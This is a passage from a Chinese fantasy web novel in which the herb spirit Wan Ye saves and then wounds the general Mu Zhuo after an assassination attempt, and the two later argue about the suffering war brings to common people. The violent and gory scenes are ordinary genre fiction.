宛楪一边艰难地抵挡着黑衣人的攻击,一边抽空将目光投向了慕酌。看着那个瘫倒在地、毫无还手之力的身影,她在心中又气又急地想:“真是个煞神,净惹麻烦!”
宛楪与那些人激烈缠斗,拳脚碰撞声、兵器交击声交织,乒乓作响。她身形如电,在人群中穿梭闪躲,发丝随着动作肆意飞舞,汗水顺着脸颊滑落,滴落在地面上。每一次出拳、踢腿,都带着决然的气势,试图逼退这些如恶狼般凶狠的敌人。
打斗的动静越来越大,终于引来了护卫。宛楪瞅准时机,一个旋身踢开身旁的敌人,迅速摆脱了缠斗,如脱缰的野马般飞奔到慕酌身前。
她双脚分开,微微下蹲,双手握拳护在胸前,目光紧紧盯着那些敌人,眼睛里闪烁着警惕的光芒,生怕他们再对榻上那个脆弱的人发动致命攻击。
等到战斗渐渐平息,那些人见占不到丝毫便宜,相互对视一眼,心有不甘地冷哼一声,转身迅速离开了。宛楪紧绷的身体瞬间松懈下来,大口大口地喘着粗气,肩膀剧烈地起伏。
她顾不上擦拭额头的汗水,也来不及查看自己身上的擦伤,急切地回头看向慕酌。却发现慕酌不知何时已经睁开了眼睛。
他的眼神虚弱而又迷离,像是被一层薄雾笼罩。他就那样静静地看着宛楪,眼中涌动着复杂难辨的情绪,有感激,有疑惑,还有一丝难以言说的落寞。
宛楪看着他那副奄奄一息、快要死的样子,眼神里瞬间闪过一丝厌恶,脑海中不由自主地浮现出这个人给自己下毒药、甚至想要自己性命的场景。刚才那种恨不得他赶紧去死的想法,又如汹涌的潮水般涌上心头。
她撇了撇嘴,翻了个白眼,心中暗自想着:“晦气,我可不能再在这呆下去了。”随即,她连头都没回,抬脚就朝着门外匆匆走去。
突然,一股力量从身后猛地传来,她的衣角被紧紧拽住,力度之大,让她一个踉跄,差点摔倒,整个人不受控制地被拽得回过身去。她的眼中瞬间燃起怒火,正要发作,用力把衣角从那只手中扯出来。
可当她的目光触及慕酌时,到嘴边的怒骂瞬间被咽了回去。
只见慕酌面色惨白如纸,毫无血色,额头上豆大的汗珠不停地滚落,打湿了鬓边的发丝。
他整个人使出浑身解数,费力地向前伸展着手臂,每一个动作都显得那么艰难,仿佛用尽了全身的力气,才好不容易碰到她的衣角。
由于用力过猛,他半个身子都悬在了榻边,似乎下一秒就会重重地摔落在地。
曾经俊美非凡的脸上此刻满是狼狈与破碎,失去了往日的光彩,他的双眼紧紧盯着宛楪,眼神中满是无助与哀求,那模样,就像一个被全世界抛弃的孩子,下一秒就会绝望地枯萎成一个
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破旧的玩偶。
宛楪的心猛地颤了一下,那一瞬间,她竟有些不知所措。
但很快,她还是咬了咬牙,用力把衣角从慕酌手中拽了出来。她轻轻叹了口气,张了张嘴,打算解释自己只是恰好路过,并非有意救他。
就在这时,慕酌开口了,声音沙哑且带着些许颤抖:“为什么救我,你害怕我死吗?”说话间,他身上的伤口似乎被牵动,钻心的疼痛袭来。他下意识地咬了咬唇,脸上的痛苦清晰可见。
可即便如此,他还是像拼命似的,不顾疼痛,再次张口问道:“为什么,为什么要救我?”那声音,听起来竟带着几分哽咽,像是快要哭出来。
不过她并没有往那方面想,宛楪暗自腹诽,估计是失血过多,嗓子被血糊住了才会这样。
“路过。”宛楪神色冷淡,语气波澜不惊,仿佛眼前这场惊心动魄的营救与她毫无干系。她心里直犯嘀咕,这个人类怎么如此不可理喻,简直就像脑子缺根弦。
慕酌双手撑着床榻,指节因用力而泛白,费了好大劲才勉强撑起身子,脸上带着一股不服输的倔强劲儿,冲她喊道:“你不是一直都想杀了我吗?那刚刚救我又是为什么,为什么?”后面的话轻轻的,带着颤音,让人有些没听清。
他像是被迷雾笼罩,话语也颠三倒四,完全沉浸在自己的思绪里,声音中还带着哭腔。
不过宛楪这下听得真真切切,不禁满心疑惑,就因为被救难过成这个样子?被救了却这样苦大仇深的样子,早知道就不趟这趟浑水了。
她撇了撇嘴,满脸嫌弃,没好气地呛道:“我怎么可能想着救你?之前你三番五次想要我的命,我不过是恰好路过罢了。你要是觉得我多管闲事,行,以后我保证离你远远的,绕着你走。你都那么想杀我了,我怎么可能来救你?”
其实宛楪的心思没那么复杂,虽说慕酌之前对她心怀恶意,但今天他在战场上拼尽全力保护了无数百姓,她只是觉得这样的人不该就这么轻易死去。
她深吸一口气,正打算再解释几句,却见慕酌像是突然顿悟了什么,眼神瞬间变得决绝。他猛地伸出手,死死拽住宛楪的手腕。
力气大得惊人,丝毫不在意自己因这一动作,整个人失去平衡,直接从榻上重重跌落,发出沉闷的声响。
“我知道你恨我,”慕酌抬起头,双眼通红,泪水在眼眶里打转,声音带着哭腔,近乎哀求地说道,“你也杀我一次,别讨厌我。”说着,他从一旁抽出一把刀,直直地递到宛楪面前。
宛楪瞬间瞪大了眼睛,脸上写满了震惊与不可置信,整个人像是被施了定身咒般愣在原地。还没等她回过神来,慕酌便伸出双手,紧紧拽住她的手腕,那双手因为用力而青筋暴起,手背上的血管根根分明。
他面容扭曲,拉着宛楪的手,将那锋利的刀尖对准自己的胸口,狠狠刺去。一切发生得太过突然,宛楪只觉眼前黑影一闪,大脑一片空白,根本来不及做出任何反应。
“你?!”宛楪下意识地惊呼出声,声音里满是惊恐与茫然,她怎么也想不到,慕酌竟会做出这样疯狂的举动。
10. 慕酌,你到底是谁呢?
一切都发生得太快。
慕酌毫不犹豫地将手刺狠狠刺向自己,锋利的刀刃瞬间没入他那本就血迹斑斑的身躯。刹那间,殷红的鲜血如泉涌般从伤口处喷射而出,溅落在地面,洇出一片触目惊心的红。
慕酌的双眼湿漉漉的,像蒙了一层薄薄的雾霭,那里面充斥着无尽的绝望,宛如深陷黑暗深渊,同时又夹杂着一丝微弱的祈求,似在向宛楪发出最后的求救信号。
这般模样的慕酌,让宛楪的心猛地揪紧,一阵酸涩涌上心头,她只觉得他可怜至极。
慕酌口中猛地吐出一口鲜血,那血沫在空中散开,洒落在他的衣衫上。随后,他的身子一软,直直地倒在地上。
他先是苦笑了一下,那笑容中满是自嘲与无奈,仿佛在嘲笑命运的捉弄。可转瞬之间,他竟又恢复到了原来那种冰冷冷的样子,仿佛刚刚的痛苦与绝望从未出现过。
只是那俊美的脸上,此刻满是战损后的凄惨,凌乱的发丝贴在汗湿的额头,嘴角还残留着一抹未干的血迹,让他看起来有种别样的脆弱。
紧接着,他像是在看一个毫不相干的陌生人,冷冷地注视着宛楪,目光中没有一丝温度。
渐渐地,他的眼神开始涣散,终于,头一歪,晕厥了过去。
宛楪下意识地伸出双手,稳稳地接过倒下的人。慕酌静静地靠在她的怀里,不说话,安静得如同睡着了一般。
他的脸庞虽带着伤,却有一种静谧的美感,仿佛时间都为他静止。整个人显得破碎而又无助,宛如精美的瓷器,显得破碎又悲哀。
宛楪垂眸凝视着怀中的慕酌,满心是按捺不住的好奇。
“我们见过吗?”话语出口,她便陷入了沉思,思绪如乱麻般交织在一起。
她的目光在他的脸上游移,这人究竟经历过何种不堪回首之事,为何自己的面容竟能引得他多次猜疑。
若说是因那位小姐而起,可自己与那位小姐容貌分明有着差异,慕酌的种种反应,分明是单纯冲着自己而来。这无端的异样,实在让宛楪困惑不已。
自己与慕酌,当真见过吗?
宛楪无比确定,在化为人形的整个过程中,自己从未见过眼前之人。至于在尚未化型之时,自己不过是一株静静生长的草,并非人类模样,又怎会与他产生交集?
这一连串的疑问,如同乱麻般纠结在她心头,剪不断,理还乱。
她的视线再次落在慕酌那张沾着血却依旧俊秀的脸上。不得不说,这张脸生得极为漂亮,线条优美得如同被精心雕琢,即便此刻沾染了血迹,面色因虚弱而显得苍白如纸,却依然难掩其与生俱来的魅力。
他这般虚弱无力地倒在自己怀里,模样脆弱得仿佛一阵风便能将他吹灭。宛楪甚至觉得,只要自己心念一动,随时都能结束他的生命,杀死这个此刻毫无反抗之力的人。
然而,回应她的只有外面那风刮过荒野时发出的簌簌声,怀里的慕酌安静得,易折易碎。
她忍不住转头看向外面,荒野正被战争的阴影所笼罩。
漆黑如墨的夜晚,荒野显得格外恐怖而静谧,仿佛隐藏着无数不为人知的秘密与危险。那些潜伏在暗处的野兽发出的低沉嘶吼,迫不及待地等待着屋内的人出去,好将她们一口吞噬。
宛楪的目光重新落回慕酌的脸上,犹豫片刻后,她缓缓伸出手,指尖轻轻拂过慕酌脸上的血迹,试图将那血污擦去,可血迹已经干涸,反到让她的手上沾染了更多殷红。
她微微皱眉,却没有在意,顺势将带血的手轻轻放在慕酌的心口。
掌心之下,是慕酌那微弱却又顽强的心跳,一下又一下,仿佛在诉说着生命的不屈。宛楪感受着这微弱的跳动,脑海中突然闪过一个念头:若是此刻自己将手伸进去,掏出他的心脏,有四成的把握拿回自己的真身。
这个念头一旦出现,便如同恶魔的低语,在她的脑海中不断盘旋。她的眼神变得有些复杂,有挣扎,有犹豫,最后变成决绝......
宛楪沉默了许久,还是将手狠狠地朝着慕酌的心口按了下去。
这突如其来的剧痛,如同一把利刃直刺慕酌,疼得眉头瞬间紧紧皱起,五官因痛苦而扭曲,喉咙里发出一阵压抑的闷哼。
紧接着,一口又一口的鲜血从他口中不断咳出,殷红的血迹溅落在他的衣衫与地面,在昏暗的光线中显得格外触目惊心。
随着每一次剧烈的咳嗽,慕酌的身体都止不住地颤抖,仿佛一片在狂风中摇摇欲坠的枯叶。
而宛楪,就那样静静地看着,眼神逐渐变得冷漠如冰。
直到一切稍歇,宛楪整个人已被鲜血浸透,身上每一寸布料都沾染着浓稠的血迹,顺着衣角滴答滴答地落下,在地面汇聚成一小片血泊。
她的手上亦是鲜血淋漓,那温热的血液顺着指缝不断流淌,滴落在地上,发出清脆而又诡异的声响。
“既然我的真身在你这,”宛楪冷冷开口,声音不带一丝温度,仿佛眼前的慕酌只是一个毫无感情的物件,“那我拿回来也无可厚非。”她顿了顿,目光如冰刀般划过慕酌痛苦的面容。
“但是我们有交易,你又救了那么多人,所以我暂时让你多活一会儿。”说罢,宛楪缓缓收起手,那只沾满鲜血的手在空气中微微颤抖,不知是因为用力过度,还是内心仍有波澜。
她就那样静静地看着慕酌,此刻慕酌脸上的痛苦表情,生动得如同一场惨烈的悲剧,诉说着难以忍受的剧痛。宛楪微微眯起眼睛,脑海中思绪翻涌。
人类的研究真是奇特。她摩挲着自己那沾满鲜血的手,刚才,她直接伸手触碰到慕酌的心脏,用力量强行捏着让它继续跳动。那种滑腻、温热且带着生命律动的触感,此刻仍残留在指尖。回想起刚才的触感,依旧觉得黏腻恶心。
可即便如此,慕酌的心脏周围已被一枪捅得残破不堪,如今就算她这般强行维持,也只是杯水车薪。
宛楪冷笑一声,人类有句话叫什么来着?
“回光返照。”
她现在用的这个方法,哪是什么回光返照,分明就是如同揠苗助长一般,以一种极端的方式让慕酌维持着强烈的血液循环。
换句直白且不好听的话,就是死得更快了。
宛楪静静地坐在一旁,眼神中透着几分好奇与审视,好整以暇地看着眼前狼狈不堪的慕酌。
慕酌浑身血迹斑斑,伤口处的鲜血仍在缓缓渗出,将身下的地面洇染得一片殷红。然而,即便已伤成这副模样,他刚刚竟还拼尽全力再捅自己一刀,这怪异的举动实在令宛楪费解。
她微微歪着头,目光紧锁在慕酌身上,心中暗自思忖:他究竟想要做什么?又到底想要什么?
思索间,宛楪伸手探进衣兜,摸索出一个小巧的单瓶。
那瓶子在黯淡的光线中闪烁着微弱的光泽,瓶身精致,却不知内里究竟装着何物。
她紧盯着慕酌,眼神中带着一丝谨慎,仿佛在进行一场冒险。随后,她小心翼翼地打开瓶盖,将瓶中的药物缓缓倾倒而出。那药呈现出一种淡绿色的粉末状,在空气中飘散出一缕若有若无的奇异香气。
宛楪轻轻托起慕酌的头,动作虽谈不上温柔,却也没有太过粗暴。她将药粉小心翼翼地喂进慕酌微微张开的口中,看着药粉顺着他的喉咙缓缓滑落。之后,她便一直紧盯着慕酌的脸,眼中淡淡地冷漠,但似乎包含着一丝紧张。
时间仿佛在这一刻凝固,每一秒都过得无比漫长。
终于,慕酌那原本毫无血色、惨白如纸的面庞渐渐有了些许缓和,原本紧蹙的眉头也微微舒展,干裂的嘴唇不再如方才那般毫无生气地颤抖。
宛楪见状,心中微微一松,这才确定手中这瓶不知来历的东西,确实是具有疗伤功效的良药。
宛楪轻轻叹了一口气,那声叹息仿佛裹挟着无尽的感慨与无奈,在寂静的空间里悠悠回荡。
她微微弯下腰,目光自上而下,静静地凝视着地上的慕酌。此刻的慕酌,狼狈地瘫倒在冰冷的地面,身上的伤口还在隐隐渗出血丝,洇红了周围的土地,像是一幅惨烈而又诡异的画卷。
“真是惨啊,”宛楪轻声说道,声音不大,却在这死寂中格外清晰,“瞧瞧你这处境,一边有人拼了命地想救你,可另一边呢,又有人铁了心要取你性命,那出手的狠辣,毫不留情,仿佛与你有着不共戴天之仇。”
说到这儿,宛楪顿了顿,眼中闪过一丝玩味,嘴角微微勾起一抹嘲讽的弧度,“最有意思的是,”她缓缓蹲下身子,凑近慕酌,仿佛要将他的每一丝表情都尽收眼底,“杀你的人居然同时又想要救你。”她摇了摇头,像是对这一切感到既困惑又好笑。
宛楪饶有兴致地蹲在慕酌身旁,目光紧紧锁住他伤口的恢复状况。她微微眯起双眼,眼中毫不掩饰地流露出一丝鄙视。
眼前慕酌的伤口,在那药物的作用下,正以一种极为缓慢的速度愈合着。
原本狰狞外翻、血肉模糊的创口边缘,像是被一双无形的手轻轻拉拢,以肉眼几乎难以察觉的速度缓缓闭合。
宛楪暗自思忖,实在搞不明白人类究竟用了何种稀奇古怪的方法,才研制出这般药物。要知道,慕酌所受的伤可不轻,浑身多处创口,有的甚至深可见骨,能在这药的作用下慢慢愈合,倒也算是人类智慧的一种体现。
然而,在宛楪眼中,这愈合速度实在是太慢了。
她轻轻撇了撇嘴,心中满是不屑。在她施展治疗之术时,伤者的断裂的骨骼可以瞬间复位,撕裂的肌肉也可眨眼间便恢复如初,鲜血立刻止住,整个过程如行云流水
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。
几乎是在转瞬之间,伤者便能重新生龙活虎。
人类的医术治疗效果很稚嫩,与她这样天生地养的治疗系神草是不能比的。
不过,这里面似乎有一丝隐秘的,妖的气息。
但太微弱了,可能是她想错了……
宛楪手中紧握着那瓶药,思绪不由自主地飘回到不久前的那场混乱。这药既非她自己所有,也不是旁人好心赠予,而是她从刚才那群神秘的黑衣人身上强行抢夺来的。
回想起当时的场景,宛楪依旧觉得匪夷所思。那群黑衣人行动诡秘,全身笼罩在一袭黑衣之下,只露出一双双透着狠厉的眼睛。他们起初的目标似乎十分明确,那便是取慕酌的性命。
然而,当宛楪介入阻拦后,她却敏锐地察觉到了一丝异样——那些黑衣人在攻击慕酌的同时,竟将这瓶药如护眼珠子一般小心翼翼地护着。
宛楪身为妖,对危险和异常有着超乎常人的感知。她注意到每当她试图靠近,他们便会瞬间警觉,眼神中流露出一种对这药无比珍视的神情。
宛楪心中顿生疑窦:越是保护得紧的东西,往往越重要。她当下断定,这药绝非寻常之物,其中必定隐藏着不为人知的秘密。
于是,宛楪瞅准了一个时机,趁那群黑衣人稍有疏忽,身形如电般疾冲而出。犹如暗夜中的鬼魅,瞬间便欺近了其中一名黑衣人。
那黑衣人显然没料到宛楪会突然发难,待反应过来时,宛楪的手已然如鹰爪般探出,精准地抓住了药瓶。
黑衣人见状,急忙伸手阻拦,却只抓到了宛楪的衣袖一角。
随后,场面陷入了一阵混乱。那些黑衣人意识到药瓶被抢,不再一味地执着于杀慕酌,而是将目标转向了宛楪,试图夺回药瓶。
他们一开始还想绕过宛楪直接对慕酌下手,可宛楪哪会轻易让他们得逞,她施展出浑身解数,在黑衣人之间穿梭自如,巧妙地化解着他们的一次次攻击。
随着时间的推移,黑衣人见宛楪实在难缠,竟改变策略,想要越过她直接给慕酌喂药。
在焦急状态下,却依旧不忘死死护住手中的仅剩的药瓶,生怕被宛楪再次抢走。
然而,他们的实力终究还是稍逊一筹。宛楪瞅准其中一个破绽,猛地发力,身形一闪,再次从黑衣人手中夺过了药瓶。这一次,黑衣人再也无力阻拦,只能眼睁睁地看着宛楪将药瓶收入囊中。
回忆完,宛楪缓缓起身,目光再次落在地上的慕酌身上。
她微微低头,眼神中透着几分复杂,淡淡开口:“慕将军……”
宛楪顿了顿,像是在斟酌着用词,随后轻轻叹了一口气,声音中带着一丝疑惑,“你到底是谁呢?”
话音落下,萧瑟的风呼呼地吹过外面广袤的旷野,发出如鬼哭狼嚎般的声响,却没有人能回答她的问题。
四周一片寂静,唯有风声在空旷的天地间肆意回荡,仿佛在诉说着这片土地上不为人知的秘密。
“六六哥!你在哪呢?”稚嫩且带着明显焦急的小孩子声音,如同一把尖锐的楔子,硬生生地劈开了这片因沉默而略显压抑的氛围。
声音从外面隐隐传来,在旷野风声的裹挟下,显得有些飘忽不定,但宛楪还是听得真真切切。
宛楪微微一怔,循声下意识地朝声源方向望去。她的目光下意识地扫过自己身上,只见那斑驳的血迹,肆意地遍布在衣衫之上。干涸的血液呈现出一种暗沉的色泽,散发着淡淡的铁锈味。看到这般模样,宛楪不禁微微皱起了眉头,眉心间拢起一个小小的川字。
她心中暗自思忖,自己此刻这副浑身浴血的样子,实在是不宜见人。若是此刻走出去,那场景,只怕会让人误以为她已然将慕酌残忍地杀害。虽说她确实是那么想的。
但此刻这误会一旦造成,只怕会引发诸多不必要的麻烦。想到这里,宛楪的眼神中闪过一丝忧虑,目光再次落向依旧昏迷在地上的慕酌,内心五味杂陈。
宛楪陷入了沉思,她的目光在四周游离片刻后,缓缓地转向了昏迷不醒的慕酌。
他静静地躺在那里,毫无生气,仿佛与这残酷的世界暂时隔绝。
宛楪微微眯起双眸,打量着慕酌,脑海中各种念头如纷飞的柳絮。
她想到了慕酌之前种种奇怪的举动,那些让人捉摸不透的行为,仿佛背后隐藏着一张巨大的、错综复杂的网。
那群黑衣人对慕酌的复杂态度,以及他们拼死守护的那瓶药……这一切的一切,都让宛楪愈发觉得慕酌身上仿佛笼罩着一层浓厚的迷雾,难以看透。
不过身上这血该怎么办呢?宛楪看着昏迷的慕酌,想到了一个不错的想法。她坏笑一下,就在屋子里面找起来。
风还在外面呼呼吹着,诉说着这片荒芜之地的沧凉。
11. 争吵
宛楪在屋内翻找衣物,几乎把屋子翻了个底朝天,终于在角落里找到了一件合身的白色衣衫。她拿起衣服比划,却发现衣服略有些小,看尺寸,大概是人类十八九岁的男子穿的。
她眉头轻皱,眼中满是疑惑。毕竟,这位慕将军平日里总是身着黑色玄衣,眼前这件白衣,不仅颜色特殊,还被叠得整整齐齐,与周围的衣物相比,显得格格不入。
宛楪顿了顿,手停在半空中,指尖轻轻摩挲着衣服的布料,心中暗自思忖。她虽不清楚人类的情感和羁绊,但她明白,在一堆相同的事物中,出现与众不同的东西,那必然是极为珍贵的。犹豫片刻,她还是小心翼翼地把衣服放回了原处。
然而,身上的血迹却成了难题。血迹干涸,在衣物上留下了暗沉的痕迹。
屋外传来小孩子的呼喊声,那声音在寂静的环境中显得格外突兀,宛楪心中一凛,这场景,竟像极了人类恐怖故事里的情节。
她来不及多想,目光落在一旁的将军披风上。那披风是厚重的黑色,绣着精致的花纹,她伸手将披风拿起,轻轻抖开,披在自己身上,仔细整理好,确保能完全遮住身上的血迹。
做完这一切,她深吸一口气,镇定心神,抬脚朝着门外走去。
要是回头这人怪罪,嫌她弄脏了披风,自己便拿沾了他的血说事,说这让士兵们心生猜疑、胡乱揣测,以此理由搪塞过去,想来他也不好再说什么。念及此,宛楪忍不住在心底叹口气,暗暗祈祷这个动辄发怒的“煞神”,这次可千万别一不高兴就想掐死自己。
宛楪翻了个白眼,满脸无奈。这人实在是古怪至极,行事风格和常人截然不同,宛楪认真琢磨,只觉得他大概是脑子出了问题。
人类传承千年的文化,礼仪教化,怎么会孕育出这样性情乖张的人?
宛楪来到外面,这身装扮瞬间引起了士兵的注意。士兵的目光在她身上来回打量,眼中的怀疑毫不掩饰。
但奇怪的是,士兵似乎并不担心自家将军安危,而是用一种难以言喻的奇怪眼神看着宛楪。那眼神里夹杂着些许轻蔑,士兵一边摇头,一边小声嘀咕,满脸写着难以置信:“真没想到,他们竟已经发展到了这步田地。”
这异样的目光像针一样扎在宛楪身上,令她心里直发毛,浑身不自在。她忍不住打了个寒战,只想赶紧逃离这个地方。
她加快脚步,匆匆离开。背后,那道意味深长的目光似乎还紧紧跟随着她。
“六六哥!六六哥!”远处,一个小孩手里紧紧攥着一个黑乎乎的馍馍,一边大声呼喊,一边朝着宛楪奋力奔来,语气中满是急切。
他跑得气喘吁吁,脚下的尘土随着步伐飞扬起来。跑到宛楪跟前,小孩一把拽住她的衣角,胸脯剧烈起伏着,大口大口喘着粗气,好不容易缓过神来,才仰起头说道:“六六哥,你去哪儿了呀,我找了你好久好久。”
说着,他的目光落在宛楪身上,看着那一身与平日截然不同的装扮,眼中满是疑惑,忍不住问道:“六六哥,你身上这衣服哪来的啊?”
宛楪神色平静,目光随意地扫向别处,随口敷衍道:“从别人那儿抢的,待会儿人家找过来还回去就是了。”
小孩似懂非懂地点点头,没有再多问,而是把手中的黑馍馍递到宛楪面前,脸上露出一个纯真无邪的笑容,如同春日暖阳。
宛楪轻轻牵起小孩的手,带着他走到一处空旷的地方,这里放着几个盛水的容器。宛楪看到,不远处的士兵们也正聚在一起,分食着那些平日里难得一见的食物。
她的目光落在之前中毒的人身上,心中不禁泛起一丝疑惑。原本那些中毒者面色惨白如纸,气息微弱,如今脸色竟明显好转,不再像之前那般毫无生气。
宛楪暗自惊叹,人类在医药方面果然十分发达,既能治愈破损的心脏,又能解这不知从何而来的毒。
正想着,小孩把一杯水递给宛楪。她接过水杯,刚凑近鼻子轻轻一嗅,瞬间便明白了其中的缘由。
“六六哥,快喝这个水,他们说只要喝了这个水,身体就会变得很健康,我跟你说。”小五蹦蹦跳跳地凑到宛楪身边,眼睛亮晶晶的,脸上还带着因为奔跑而泛起的红晕。
他压低声音,神神秘秘地说:“那些中毒的人喝了都不再吐血了,不过这就是井里的水啊,怎么会有这种功效呢?”小五一边嘟囔着,一边挠了挠头,满脸的困惑。
宛楪接过水杯,刚放到鼻尖,一股若有若无的清香钻进鼻腔,她心里一震,错不了,这是宛楪花的味道。
她下意识地拧起眉头,自己现在没有法力,根本造不出宛楪花。军中要是其他人有,早就拿出来救人了,可这水里只有一瓣花的效力。
她心中不禁泛起疑惑,会是自己给慕酌的那朵吗?他会这么大方?脑海中浮现出慕酌平日里杀神的冷血面容,实在很难和眼下的善举联系起来。
“六六哥,六六哥,你在想什么呢?”小五见宛楪半天没反应,伸出小手在她眼前使劲挥了挥。这时,宛楪才注意到,小五的胳膊和膝盖上多了好几处擦伤,伤口处还渗着血丝,显然是刚才和那些比他大的人争抢食物和水时留下的。
宛楪心疼地叹了口气,轻轻摸了摸阿已的头说:“阿已,这地方十分危险,你一个小孩子,得把心思放在怎么活下去,别再跟那些大人打架了,多危险啊。”
阿已听了,嘴巴立刻瘪了起来,眼眶也微微泛红,委屈地说:“可是如果我不抢的话,他们就不会给我们吃的。以前六六哥你出去,有什么吃的都想着带我,可我不能总靠着你呀。要是不争不抢,就什么都没有了。”
宛楪垂眸,沉默不语,阿已的话像重锤敲在她心上。她没有说话,这是人类的纷争,她不想过多干涉。
脑海中又突兀浮现出慕酌倒在血泊中的样子,鲜血在地面肆意蔓延,晕染出一片触目惊心的红,慕酌的脸色苍白如纸,每一次呼吸都像是在极力挣扎,气息微弱得仿佛下一秒就会消散。
那副景象,真是可怜又可叹。
时间在混乱与紧张中悄然流逝,宛楪守在营帐外,看着士兵们匆忙往来,听着远处传来的哭声和伤者的呻吟,心中五味杂陈。她时而抬头望向天际,时而又将目光落回营帐,像是在等待着什么。
不知过了多久,营帐内传来细微的动静。慕酌缓缓转醒,只觉脑袋昏沉得像灌满了铅,每一处关节都像是生了锈,难以转动。他强撑着坐起身,动作迟缓而艰难,额头上渗出细密的汗珠。
目光在营帐内搜寻一番,发现那些受伤的士兵正安静地躺着。他们的伤口已经被仔细包扎过,布条层层缠绕,将渗血的创口紧紧裹住,显然有人已经处理过了。
慕酌起身走出营帐,傍晚的微风轻轻拂过,带着一丝凉意。
他抬眼望去,不远处,宛楪正独自坐在一块石头上,身影在落日余晖的映照下拉得长长的。
慕酌踱步走过去,在她身旁缓缓坐下,夕阳的暖光洒在两人身上。
慕酌沉默片刻,转头看向宛楪,眼中的冷漠已然褪去,轻声开口,“谢谢。”声音因为虚弱而显得有些沙哑。
周围的那些护卫慕酌的随从,看到这一幕,纷纷投来诧异的目光。他们深知自家将军平日的冷峻,极少对人表达谢意,如今这一幕,让他们不禁对宛楪多了几分好奇与敬意。
宛楪静静地听着,没有答话。慕酌像是陷入了回忆,目光有些迷离,喃喃自语:“你很像我认识的一个人……”
旷野之上,风声呜咽,像是在低诉着无尽的哀愁。
枯黄的野草在风中瑟瑟发抖,随着风势伏倒又立起,发出簌簌的声响。天边的晚霞被风扯成丝丝缕缕,像是被撕开的锦缎,黯淡而又凄美。
这时,小阿已不知从何处跑了过来,一把抱住宛楪,他小小的身子微微颤抖,警惕地看着慕酌,眼睛瞪得圆圆的,像一只护着主人的小兽。
宛楪抬手,掌心轻柔地一下下拍着阿已的背,试图安抚这个紧张的孩子。
她目光直直地望向远方没有扭头,声音平静却带着几分责问。<
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“要是你们这些当官的能为这些普通人类想想,就不会变成这般惨不忍睹的样子。”语气里带着些冷意,眼神中流露出对眼前惨状的不忍与不满。
慕酌闻言,微微皱眉,神色复杂地看着宛楪,沉默片刻后,开口道:“战事一起,又哪有那么容易顾全所有。”他的声音冷冷的,几分漠然。
“顾全所有?”宛楪忍不住冷笑一声,侧过脸,目光犀利地看向慕酌,“如今百姓流离失所,死伤无数,这就是你们所谓的顾全?”她的声音提高,眼中闪烁着愤怒的光芒。
慕酌张了张嘴,想要反驳,却又像是被什么哽住了喉咙,眼神黯淡下来,望着远处一片狼藉的战场,脸上写满了无奈与痛苦。
过了许久,他淡淡地开口,眼神空空,里面没有什么希望的光亮,“你以为我想,战争一旦开始,顾不上的。在这弱肉强食的世道,人命,本就如蝼蚁一般。”
宛楪眼中十分不解,“那些普通百姓的命,就这么一文不值吗?他们那么痛苦!”她的声音因为愤怒而变得尖锐,在空旷的营地中回荡。
周围的士兵们听到争吵声,纷纷投来担忧的目光,有的甚至停下手中的动作,屏气敛息,不敢出声。
慕酌的脸色阴沉得可怕,“自古以来,战争本就是如此残酷!这是无法避免的牺牲,你还想救他们不成?”他猛地站起来一挥手,似乎是用劲过大,又或者是情绪激动,说话竟哭腔有些喘不上来气。
宛楪衣袖带起一阵劲风,“无法避免?”宛楪怒极反笑,笑声中却满是悲凉,“你这不过是给自己的冷漠找借口!每一条人命都是鲜活的,背后都是一个个家庭,你怎么能如此麻木,把他们的死说得如此轻巧!”
宛楪眼中满是震惊,漂亮的眸子里充满了不可置信。
慕酌向前跨了一步,居高临下地看着宛楪,冷冷地回:“你想救他们?可是你能救一个,你能救很多吗?”
他瞟了宛楪一眼,“或者我想问你自己能活下去吗,有空操心他们,若想想如何这个世道弱小的你如何活着!”
他的声音低沉而强硬,透着不容置疑的威严。充斥着一种不在乎生命的,也不在乎自己活不活的无所谓。悲哀的很。
宛楪毫不畏惧地迎上他的目光,大声吼道,“我不知道我是否能活着,但这世道就是错了,本来可以不用打这么多仗。”
狂风呼啸,吹得周围的旗帜猎猎作响。这场争论,让本就压抑的氛围变得更加沉重,空气中弥漫着令人窒息的紧张与悲哀。
两人又聊了几句,话语里却满是针锋相对。
直到最后,慕酌嗤笑一声,“好啊,你既然想要拯救弱小,拯救那些困于苦难中挣扎的人,那你就试试吧,看看你能不能把他们托于苦海!”随机咬了咬唇,似是压抑地叹气,随即踏步离开。走的着急,似乎带着气。
落日缓缓西沉,余晖将整个荒野染成了暗红色,像是被鲜血浸透。荒野上的鸟类不时发出“乌哇乌哇”的叫声,声音凄厉,更添几分死寂与绝望。营
帐中的将士们大多在休息,他们或躺或坐,有的眉头紧皱,有的眼神空洞,疲惫的面容上满是伤痛与沧桑。
这场战役折损大半,代价沉重,空气中似乎都弥漫着鲜血和死亡的气息。
就在这时,一声尖锐的呼喊打破了平静:“不好了,北国又来人了!”报信的士兵脸色煞白,声音因为惊恐而颤抖,一路跌跌撞撞地跑来。
这声音如同一记重锤,瞬间打破了短暂的平静。所有人都紧张起来,恐惧和害怕如潮水般迅速弥漫开来。士兵们慌乱地起身,手中紧紧握着武器,手却忍不住微微颤抖。
有的则躲在营帐中,瑟瑟发抖,眼神中满是绝望。每个人的脸上都写满了严肃,这座城已经伤亡惨重,再也经不起折腾。
放眼望去,城外黄沙漫天,隐隐约约能看到北国军队扬起的滚滚烟尘。如果大军再次来犯,以城中如今的兵力和状态,不出片刻,这里就会被攻破。
所有人都会死无葬身之地!
12. 爱吃人肉,小心…… 阿已那个小孩!……
宛楪的心情如翻涌的惊涛,久久难以平静。
慕酌的那句“你现在还是顾好你自己,你想拯救那些弱小的人就试试,看看你能不能将他们摆脱苦海?”仿若一记重锤,狠狠砸落在她的心尖上,震得她思绪凌乱。
她缓缓转过头,望向那些凄惨的士兵。战场上,残阳如血,余晖洒落在这片满目疮痍的土地上,将士兵们的身影拉得又长又扭曲。
断肢残骸随意地散落着,殷红的鲜血在干涸的土地上蜿蜒成可怖的图案,混合着泥土,散发出令人作呕的腥气。
士兵们衣衫褴褛,破碎的布片在风中无力地飘动,他们面容憔悴,深陷的眼窝里满是疲惫与绝望,有的在痛苦地呻吟,有的在低声地呜咽,每一道目光都仿佛在诉说着无尽的苦难。
宛楪紧咬下唇,心中涌起无尽的愤懑与困惑,人类只要衣食无忧便能好好生活,可为何会有三六九等的划分?富贵之人黄金遍地,而贫劳之人却活得如此艰难。
然而,她还来不及深入思索,便身不由己地随着大部队登上了城墙。
